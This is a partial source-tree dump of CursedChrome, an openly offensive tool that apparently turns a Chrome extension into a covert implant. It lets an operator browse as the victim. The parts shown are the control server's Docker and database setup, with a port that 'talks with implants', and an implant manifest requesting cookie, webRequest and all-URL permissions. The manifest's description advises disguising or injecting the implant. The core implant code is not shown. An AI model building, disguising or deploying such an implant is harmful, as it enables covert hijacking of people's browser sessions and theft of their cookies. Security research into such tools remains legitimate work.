207 | ███████║ ██║ ██║ █████╗ ██╔██╗ ██║ ██║ ██║██║ ██║██╔██╗ ██║ 208 | ██╔══██║ ██║ ██║ ██╔══╝ ██║╚██╗██║ ██║ ██║██║ ██║██║╚██╗██║ 209 | ██║ ██║ ██║ ██║ ███████╗██║ ╚████║ ██║ ██║╚██████╔╝██║ ╚████║ 210 | ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ 211 | 212 | ============================================================================ 213 | `; 214 | } 215 | 216 | async function initialize_users() { 217 | // Check if there is at least one User account 218 | // that exists in the database. If not, create 219 | // one and write the auth information to the 220 | // filesystem for the admin to get. 221 | const existing_users = await Users.findAll(); 222 | 223 | // If there are already users we can stop here. 224 | if(existing_users.length > 0) { 225 | return 226 | } 227 | 228 | // Since there's no users, we need to create one. 229 | // Otherwise there's nothing to log in with. 230 | 231 | // Generate cryptographically-secure random 232 | // password for the default user we're adding. 233 | const new_username = "admin"; 234 | const new_password = get_secure_random_string(32); 235 | 236 | // Create user and add to database 237 | const new_user = await create_new_user( 238 | new_username, 239 | new_password 240 | ); 241 | 242 | // Now we need to write these credentials to the 243 | // filesystem in a file so the user can retrieve 244 | // them. 245 | const banner_message = get_default_user_created_banner( 246 | new_username, 247 | new_password 248 | ); 249 | 250 | console.log(banner_message); 251 | } 252 | 253 | async function initialize_configs() { 254 | const session_secret_key = 'SESSION_SECRET'; 255 | 256 | // Check for existing session secret value 257 | const session_secret_setting = await Settings.findOne({ 258 | where: { 259 | key: session_secret_key 260 | } 261 | }); 262 | 263 | // If it exists, there's nothing else to do here. 264 | if(session_secret_setting) { 265 | return 266 | } 267 | 268 | console.log(`No session secret set, generating one now...`); 269 | 270 | // Since it doesn't exist, generate one. 271 | await Settings.create({ 272 | id: uuid.v4(), 273 | key: session_secret_key, 274 | value: get_secure_random_string(64) 275 | }); 276 | 277 | console.log(`Session secret generated successfully!`); 278 | } 279 | 280 | async function database_init() { 281 | const force = false; 282 | await Users.sync({ force: force }); 283 | await Bots.sync({ force: force }); 284 | await Settings.sync({ force: force }); 285 | 286 | // Set up configs if they're not already set up. 287 | await initialize_configs(); 288 | 289 | // Set up admin panel user if not already set up. 290 | await initialize_users(); 291 | } 292 | 293 | module.exports.sequelize = sequelize; 294 | module.exports.Users = Users; 295 | module.exports.Bots = Bots; 296 | module.exports.Settings = Settings; 297 | module.exports.database_init = database_init; -------------------------------------------------------------------------------- /docker-compose.yaml: -------------------------------------------------------------------------------- 1 | services: 2 | redis: 3 | image: "redis:alpine" 4 | command: redis-server --appendonly no 5 | db: 6 | image: postgres 7 | restart: always 8 | environment: 9 | POSTGRES_PASSWORD: cursedchrome 10 | POSTGRES_USER: cursedchrome 11 | POSTGRES_DB: cursedchrome 12 | cursedchrome: 13 | build: . 14 | volumes: 15 | - ./ssl:/work/cassl 16 | depends_on: 17 | - db 18 | - redis 19 | environment: 20 | DATABASE_NAME: cursedchrome 21 | DATABASE_USER: cursedchrome 22 | DATABASE_PASSWORD: cursedchrome 23 | DATABASE_HOST: db 24 | REDIS_HOST: redis 25 | # Number of bcrypt rounds for 26 | # storing admin panel passwords. 27 | BCRYPT_ROUNDS: 10 28 | DEBUGGING: "yes" 29 | ports: 30 | - "127.0.0.1:8080:8080" # Proxy server 31 | - "127.0.0.1:4343:4343" # WebSocket server (talks with implants) 32 | - "127.0.0.1:8118:8118" # Web panel 33 | -------------------------------------------------------------------------------- /docker-entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cp /work/ssl/* /work/cassl/ 3 | node /work/server.js 4 | -------------------------------------------------------------------------------- /extension/_locales/en/messages.json: -------------------------------------------------------------------------------- 1 | { 2 | "l10nTabName": { 3 | "message":"Localization" 4 | ,"description":"name of the localization tab" 5 | } 6 | ,"l10nHeader": { 7 | "message":"It does localization too! (this whole tab is, actually)" 8 | ,"description":"Header text for the localization section" 9 | } 10 | ,"l10nIntro": { 11 | "message":"'L10n' refers to 'Localization' - 'L' an 'n' are obvious, and 10 comes from the number of letters between those two. It is the process/whatever of displaying something in the language of choice. It uses 'I18n', 'Internationalization', which refers to the tools / framework supporting L10n. I.e., something is internationalized if it has I18n support, and can be localized. Something is localized for you if it is in your language / dialect." 12 | ,"description":"introduce the basic idea." 13 | } 14 | ,"l10nProd": { 15 | "message":"You are planning to allow localization, right? You have no idea who will be using your extension! You have no idea who will be translating it! At least support the basics, it's not hard, and having the framework in place will let you transition much more easily later on." 16 | ,"description":"drive the point home. It's good for you." 17 | } 18 | ,"l10nFirstParagraph": { 19 | "message":"When the options page loads, elements decorated with data-l10n will automatically be localized!" 20 | ,"description":"inform that elements will be localized on load" 21 | } 22 | ,"l10nSecondParagraph": { 23 | "message":"If you need more complex localization, you can also define data-l10n-args. This should contain $containerType$ filled with $dataType$, which will be passed into Chrome's i18n API as $functionArgs$. In fact, this paragraph does just that, and wraps the args in mono-space font. Easy!" 24 | ,"description":"introduce the data-l10n-args attribute. End on a lame note." 25 | ,"placeholders": { 26 | "containerType": { 27 | "content":"$1" 28 | ,"example":"'array', 'list', or something similar" 29 | ,"description":"type of the args container" 30 | } 31 | ,"dataType": { 32 | "content":"$2" 33 | ,"example":"string" 34 | ,"description":"type of data in each array index" 35 | } 36 | ,"functionArgs": { 37 | "content":"$3" 38 | ,"example":"arguments" 39 | ,"description":"whatever you call what you pass into a function/method. args, params, etc." 40 | } 41 | } 42 | } 43 | ,"l10nThirdParagraph": { 44 | "message":"Message contents are passed right into innerHTML without processing - include any tags (or even scripts) that you feel like. If you have an input field, the placeholder will be set instead, and buttons will have the value attribute set." 45 | ,"description":"inform that we handle placeholders, buttons, and direct HTML input" 46 | } 47 | ,"l10nButtonsBefore": { 48 | "message":"Different types of buttons are handled as well. <button> elements have their html set:" 49 | } 50 | ,"l10nButton": { 51 | "message":"in a button" 52 | } 53 | ,"l10nButtonsBetween": { 54 | "message":"while <input type='submit'> and <input type='button'> get their 'value' set (note: no HTML):" 55 | } 56 | ,"l10nSubmit": { 57 | "message":"a submit value" 58 | } 59 | ,"l10nButtonsAfter": { 60 | "message":"Awesome, no?" 61 | } 62 | ,"l10nExtras": { 63 | "message":"You can even set data-l10n on things like the <title> tag, which lets you have translatable page titles, or fieldset <legend> tags, or anywhere else - the default Boil.localize() behavior will check every tag in the document, not just the body." 64 | ,"description":"inform about places which may not be obvious, like , etc" 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /extension/icons/icon128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/extension/icons/icon128.png -------------------------------------------------------------------------------- /extension/icons/icon16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/extension/icons/icon16.png -------------------------------------------------------------------------------- /extension/icons/icon48.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/extension/icons/icon48.png -------------------------------------------------------------------------------- /extension/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "CursedChrome Implant", 3 | "version": "0.0.2", 4 | "manifest_version": 3, 5 | "description": "Example Chrome extension with implant code. You should probably inject/disguise the implant instead of installing this extension directly.", 6 | "homepage_url": "https://thehackerblog.com", 7 | "icons": { 8 | "16": "icons/icon16.png", 9 | "48": "icons/icon48.png", 10 | "128": "icons/icon128.png" 11 | }, 12 | "default_locale": "en", 13 | "background": { 14 | "service_worker": "src/bg/background.js" 15 | }, 16 | "permissions": [ 17 | "webRequest", 18 | "cookies", 19 | "storage", 20 | "declarativeNetRequest" 21 | ], 22 | "host_permissions": [ 23 | "<all_urls>" 24 | ] 25 | } 26 | -------------------------------------------------------------------------------- /extension/redirect-hack.html: -------------------------------------------------------------------------------- 1 | <!-- This is for some dark magic to get around fetch() limitaitons --> -------------------------------------------------------------------------------- /gui/.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | node_modules 3 | /dist 4 | 5 | # local env files 6 | .env.local 7 | .env.*.local 8 | 9 | # Log files 10 | npm-debug.log* 11 | yarn-debug.log* 12 | yarn-error.log* 13 | 14 | # Editor directories and files 15 | .idea 16 | .vscode 17 | *.suo 18 | *.ntvs* 19 | *.njsproj 20 | *.sln 21 | *.sw? 22 | -------------------------------------------------------------------------------- /gui/README.md: -------------------------------------------------------------------------------- 1 | # gui 2 | 3 | ## Project setup 4 | ``` 5 | npm install 6 | ``` 7 | 8 | ### Compiles and hot-reloads for development 9 | ``` 10 | npm run serve 11 | ``` 12 | 13 | ### Compiles and minifies for production 14 | ``` 15 | npm run build 16 | ``` 17 | 18 | ### Lints and fixes files 19 | ``` 20 | npm run lint 21 | ``` 22 | 23 | ### Customize configuration 24 | See [Configuration Reference](https://cli.vuejs.org/config/). 25 | -------------------------------------------------------------------------------- /gui/babel.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | presets: [ 3 | '@vue/cli-plugin-babel/preset' 4 | ] 5 | } 6 | -------------------------------------------------------------------------------- /gui/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "CursedChrome", 3 | "version": "0.1.0", 4 | "private": true, 5 | "scripts": { 6 | "serve": "vue-cli-service serve", 7 | "build": "vue-cli-service build", 8 | "lint": "vue-cli-service lint" 9 | }, 10 | "dependencies": { 11 | "@fortawesome/fontawesome-svg-core": "^1.2.28", 12 | "@fortawesome/free-brands-svg-icons": "^5.13.0", 13 | "@fortawesome/free-solid-svg-icons": "^5.13.0", 14 | "@fortawesome/vue-fontawesome": "^0.1.9", 15 | "bootstrap": "^4.4.1", 16 | "bootstrap-vue": "^2.12.0", 17 | "core-js": "^3.6.4", 18 | "install": "^0.13.0", 19 | "npm": "^6.14.4", 20 | "vue": "^2.6.11", 21 | "vue-bootstrap-table2": "^1.1.8", 22 | "vue-moment": "^4.1.0", 23 | "vue-toastr": "^2.1.2" 24 | }, 25 | "devDependencies": { 26 | "@vue/cli-plugin-babel": "^4.3.0", 27 | "@vue/cli-plugin-eslint": "^4.3.0", 28 | "@vue/cli-service": "^4.3.0", 29 | "babel-eslint": "^10.1.0", 30 | "eslint": "^6.7.2", 31 | "eslint-plugin-vue": "^6.2.2", 32 | "vue-template-compiler": "^2.6.11" 33 | }, 34 | "eslintConfig": { 35 | "root": true, 36 | "env": { 37 | "node": true 38 | }, 39 | "extends": [ 40 | "plugin:vue/essential", 41 | "eslint:recommended" 42 | ], 43 | "parserOptions": { 44 | "parser": "babel-eslint" 45 | }, 46 | "rules": {} 47 | }, 48 | "browserslist": [ 49 | "> 1%", 50 | "last 2 versions", 51 | "not dead" 52 | ] 53 | } 54 | -------------------------------------------------------------------------------- /gui/public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/gui/public/favicon.ico -------------------------------------------------------------------------------- /gui/public/img/background.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/gui/public/img/background.png -------------------------------------------------------------------------------- /gui/public/index.html: -------------------------------------------------------------------------------- 1 | <!DOCTYPE html> 2 | <html lang="en"> 3 | <head> 4 | <meta charset="utf-8"> 5 | <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 | <meta name="viewport" content="width=device-width,initial-scale=1.0"> 7 | <link rel="icon" href="<%= BASE_URL %>favicon.ico"> 8 | <title><%= htmlWebpackPlugin.options.title %> 9 | 10 | 11 | 14 |
15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /gui/public/js/clipboard.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * clipboard.js v2.0.6 3 | * https://clipboardjs.com/ 4 | * 5 | * Licensed MIT © Zeno Rocha 6 | */ 7 | !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.ClipboardJS=e():t.ClipboardJS=e()}(this,function(){return o={},r.m=n=[function(t,e){t.exports=function(t){var e;if("SELECT"===t.nodeName)t.focus(),e=t.value;else if("INPUT"===t.nodeName||"TEXTAREA"===t.nodeName){var n=t.hasAttribute("readonly");n||t.setAttribute("readonly",""),t.select(),t.setSelectionRange(0,t.value.length),n||t.removeAttribute("readonly"),e=t.value}else{t.hasAttribute("contenteditable")&&t.focus();var o=window.getSelection(),r=document.createRange();r.selectNodeContents(t),o.removeAllRanges(),o.addRange(r),e=o.toString()}return e}},function(t,e){function n(){}n.prototype={on:function(t,e,n){var o=this.e||(this.e={});return(o[t]||(o[t]=[])).push({fn:e,ctx:n}),this},once:function(t,e,n){var o=this;function r(){o.off(t,r),e.apply(n,arguments)}return r._=e,this.on(t,r,n)},emit:function(t){for(var e=[].slice.call(arguments,1),n=((this.e||(this.e={}))[t]||[]).slice(),o=0,r=n.length;o 2 |
3 |
4 |
5 | 6 | 7 | 17 | 18 | 29 | -------------------------------------------------------------------------------- /gui/src/assets/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/gui/src/assets/logo.png -------------------------------------------------------------------------------- /gui/src/main.js: -------------------------------------------------------------------------------- 1 | import Vue from 'vue' 2 | import App from './App.vue' 3 | import { BootstrapVue, IconsPlugin } from 'bootstrap-vue' 4 | 5 | import 'bootstrap/dist/css/bootstrap.css' 6 | import 'bootstrap-vue/dist/bootstrap-vue.css' 7 | 8 | // Install BootstrapVue 9 | Vue.use(BootstrapVue) 10 | 11 | // Optionally install the BootstrapVue icon components plugin 12 | Vue.use(IconsPlugin) 13 | 14 | Vue.use(require('vue-moment')); 15 | 16 | import VueToastr from "vue-toastr"; 17 | Vue.use(VueToastr, { 18 | escapeHtml: true, 19 | progressBar: true 20 | }); 21 | 22 | import { library } from '@fortawesome/fontawesome-svg-core' 23 | import { fas } from '@fortawesome/free-solid-svg-icons' 24 | import { fab } from '@fortawesome/free-brands-svg-icons' 25 | import { FontAwesomeIcon } from '@fortawesome/vue-fontawesome' 26 | 27 | library.add(fas) 28 | library.add(fab) 29 | 30 | Vue.component('font-awesome-icon', FontAwesomeIcon) 31 | 32 | Vue.config.productionTip = false 33 | 34 | new Vue({ 35 | render: h => h(App), 36 | }).$mount('#app') 37 | -------------------------------------------------------------------------------- /images/browsing-as-victim-browser.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/images/browsing-as-victim-browser.png -------------------------------------------------------------------------------- /images/cursed-chrome-web-panel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/images/cursed-chrome-web-panel.png -------------------------------------------------------------------------------- /images/cursedchrome-diagram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/images/cursedchrome-diagram.png -------------------------------------------------------------------------------- /images/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/images/icon.png -------------------------------------------------------------------------------- /images/sync-cookie-extension.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/images/sync-cookie-extension.png -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "croxy", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "server.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1", 8 | "start": "node server.js" 9 | }, 10 | "author": "", 11 | "license": "ISC", 12 | "dependencies": { 13 | "async": "~0.9.0", 14 | "async-task-mgr": ">=1.1.0", 15 | "bcrypt": "^4.0.1", 16 | "body-parser": "^1.19.0", 17 | "brotli": "^1.3.2", 18 | "classnames": "^2.2.5", 19 | "client-sessions": "^0.8.0", 20 | "clipboard-js": "^0.3.3", 21 | "co": "^4.6.0", 22 | "colorful": "^2.1.0", 23 | "commander": "~2.11.0", 24 | "component-emitter": "^1.2.1", 25 | "compression": "^1.4.4", 26 | "csr-gen": "^0.2.1", 27 | "es6-promise": "^3.3.1", 28 | "express": "^4.17.1", 29 | "express-jsonschema": "^1.1.6", 30 | "fast-json-stringify": "^0.17.0", 31 | "http-proxy": "^1.18.0", 32 | "iconv-lite": "^0.4.6", 33 | "inquirer": "^5.2.0", 34 | "ip": "^0.3.2", 35 | "juicer": "^0.6.6-stable", 36 | "mime-types": "2.1.11", 37 | "moment": "^2.24.0", 38 | "nedb": "^1.8.0", 39 | "node-cache": "^5.1.0", 40 | "pg": "^7.18.2", 41 | "pug": "^2.0.0-beta6", 42 | "qrcode-npm": "0.0.3", 43 | "redis": "^3.0.2", 44 | "request": "^2.74.0", 45 | "sequelize": "^5.21.5", 46 | "stream-throttle": "^0.1.3", 47 | "svg-inline-react": "^1.0.2", 48 | "thunkify": "^2.1.2", 49 | "uuid": "^7.0.2", 50 | "whatwg-fetch": "^1.0.0", 51 | "ws": "^5.1.0", 52 | "node-forge": "^0.6.42", 53 | "node-powershell": "^3.3.1" 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /ssl/.blank: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/ssl/.blank -------------------------------------------------------------------------------- /utils.js: -------------------------------------------------------------------------------- 1 | const crypto = require('crypto'); 2 | const bcrypt = require('bcrypt'); 3 | const moment = require('moment'); 4 | 5 | function copy(input_data) { 6 | return JSON.parse(JSON.stringify(input_data)); 7 | } 8 | 9 | function get_secure_random_string(bytes_length) { 10 | const validChars = 'abcdefghijklmnopqrstuvwxyz0123456789'; 11 | let array = crypto.randomBytes(bytes_length); 12 | array = array.map(x => validChars.charCodeAt(x % validChars.length)); 13 | const random_string = String.fromCharCode.apply(null, array); 14 | return random_string; 15 | } 16 | 17 | async function get_hashed_password(password) { 18 | // If no environment variable is set, default 19 | // to doing 10 rounds. 20 | const bcrypt_rounds = process.env.BCRYPT_ROUNDS ? parseInt(process.env.BCRYPT_ROUNDS) : 10; 21 | 22 | return bcrypt.hash( 23 | password, 24 | bcrypt_rounds 25 | ); 26 | } 27 | 28 | function logit(input_string) { 29 | const datetime = moment().format('MMMM Do YYYY, h:mm:ss a'); 30 | // Add spacer unless it starts with a `[` 31 | const spacer = input_string.startsWith('[') ? '' : ' '; 32 | console.log(`[${datetime}]${spacer}${input_string.trim()}`); 33 | } 34 | 35 | module.exports = { 36 | copy: copy, 37 | get_secure_random_string: get_secure_random_string, 38 | get_hashed_password: get_hashed_password, 39 | logit: logit 40 | }; --------------------------------------------------------------------------------